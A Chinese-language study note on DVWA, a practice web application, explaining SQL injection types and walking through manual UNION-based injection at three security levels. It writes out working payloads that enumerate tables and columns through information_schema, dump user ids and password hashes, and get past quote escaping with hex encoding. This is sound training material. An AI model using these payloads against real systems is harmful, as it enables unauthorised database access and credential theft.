本系列文集:DVWA學(xué)習(xí)筆記
SQL注入,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結(jié)構(gòu),從而達(dá)到執(zhí)行惡意SQL語句的目的。SQL注入漏洞的危害是巨大的,常常會導(dǎo)致整個數(shù)據(jù)庫被“脫褲”,盡管如此,SQL注入仍是現(xiàn)在最常見的Web漏洞之一。
SQL 注入分類
按SQLMap中的分類來看,SQL注入類型有以下 5 種:
UNION query SQL injection(可聯(lián)合查詢注入)
Stacked queries SQL injection(可多語句查詢注入)
Boolean-based blind SQL injection(布爾型注入)
Error-based SQL injection(報錯型注入)
Time-based blind SQL injection(基于時間延遲注入)
SQL 注入常規(guī)利用思路:
1、尋找注入點,可以通過 web 掃描工具實現(xiàn)
2、通過注入點,嘗試獲得關(guān)于連接數(shù)據(jù)庫用戶名、數(shù)據(jù)庫名稱、連接數(shù)據(jù)庫用戶權(quán)限、操作系統(tǒng)信息、數(shù)據(jù)庫版本等相關(guān)信息。
3、猜解關(guān)鍵數(shù)據(jù)庫表及其重要字段與內(nèi)容(常見如存放管理員賬戶的表名、字段名等信息)
4、可以通過獲得的用戶信息,尋找后臺登錄。
5、利用后臺或了解的進(jìn)一步信息,上傳 webshell 或向數(shù)據(jù)庫寫入一句話木馬,以進(jìn)一步提權(quán),直到拿到服務(wù)器權(quán)限。
手工注入常規(guī)思路:
1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解 SQL 查詢語句中的字段數(shù)
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫
5.獲取數(shù)據(jù)庫中的表
6.獲取表中的字段名
7.查詢到賬戶的數(shù)據(jù)
Low:

分析:
由代碼可知,通過REQUEST方式接受傳遞的參數(shù)id,再通過sql語句帶入查詢,并未設(shè)置任何過濾,因此可以進(jìn)行sql注入利用。
常見注入測試的POC:

1.判斷是否存在注入,注入是字符型還是數(shù)字型
當(dāng)輸入的參數(shù)為字符串時,稱為字符型。字符型和數(shù)字型最大的一個區(qū)別在于,數(shù)字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。
輸入1,查詢成功:

輸入1'and '1' ='2,查詢失敗,返回結(jié)果為空:

輸入1' or '1'='1 頁面正常,并返回更多信息,成功查詢

判斷存在的是字符型注入。
2.猜解SQL查詢語句中的字段數(shù)
輸入1′ or 1=1 order by 1 #,查詢成功: #是注釋作用

輸入1′ or 1=1 order by 2 #,查詢成功: #是注釋作用

輸入1′ or 1=1 order by 3 #,查詢失敗: #是注釋作用

說明執(zhí)行的SQL查詢語句中只有兩個字段,即這里的First name、Surname。
3.確定顯示的字段順序
輸入1′ union select 1,2 #,查詢成功: #是注釋作用

說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=’id’…
4.獲取當(dāng)前數(shù)據(jù)庫
輸入1' union select 1,database() #,查詢成功:#是注釋作用

說明當(dāng)前的數(shù)據(jù)庫為dvwa。
5.獲取數(shù)據(jù)庫中的表
輸入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功: #是注釋作用

說明數(shù)據(jù)庫dvwa中一共有兩個表,guestbook與users。
6.獲取表中的字段名
輸入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查詢成功: #是注釋作用

說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下載數(shù)據(jù)
輸入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功: #是注釋作用

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。
Medium:
分析:
Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時前端頁面設(shè)置了下拉選擇表單,希望以此來控制用戶的輸入。

漏洞利用
雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數(shù),提交惡意構(gòu)造的查詢參數(shù)。
1.判斷是否存在注入,注入是字符型還是數(shù)字型
抓包更改參數(shù)id為1′ or 1=1 # 報錯: #是注釋作用

抓包更改參數(shù)id為1 or 1=1 #,查詢成功:

說明存在數(shù)字型注入。
(由于是數(shù)字型注入,服務(wù)器端的mysql_real_escape_string函數(shù)就形同虛設(shè)了,因為數(shù)字型注入并不需要借助引號。)
2.猜解SQL查詢語句中的字段數(shù)
抓包更改參數(shù)id為1 order by 2 #,查詢成功:

抓包更改參數(shù)id為1 order by 3 #,報錯:

說明執(zhí)行的SQL查詢語句中只有兩個字段,即這里的First name、Surname。
3.確定顯示的字段順序
抓包更改參數(shù)id為1 union select 1,2 #,查詢成功:

說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=id…
4.獲取當(dāng)前數(shù)據(jù)庫
抓包更改參數(shù)id為1 union select 1,database() #,查詢成功:

說明當(dāng)前的數(shù)據(jù)庫為dvwa。
5.獲取數(shù)據(jù)庫中的表
抓包更改參數(shù)id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:

說明數(shù)據(jù)庫dvwa中一共有兩個表,guestbook與users。
6.獲取表中的字段名
抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#,查詢失敗:

這是因為單引號被轉(zhuǎn)義了,變成了\’??梢岳?6進(jìn)制進(jìn)行繞過 ''
抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢成功:

說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下載數(shù)據(jù)
抓包修改參數(shù)id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。
High:

分析:
與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結(jié)果。
漏洞利用:
雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。由于手工注入的過程與Low級別基本一樣,直接最后一步演示下載數(shù)據(jù)。
輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:

特別注意:High級別的查詢提交頁面與查詢結(jié)果顯示頁面不是同一個,也沒有執(zhí)行302跳轉(zhuǎn),這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結(jié)果,沒有了反饋,也就沒辦法進(jìn)一步注入。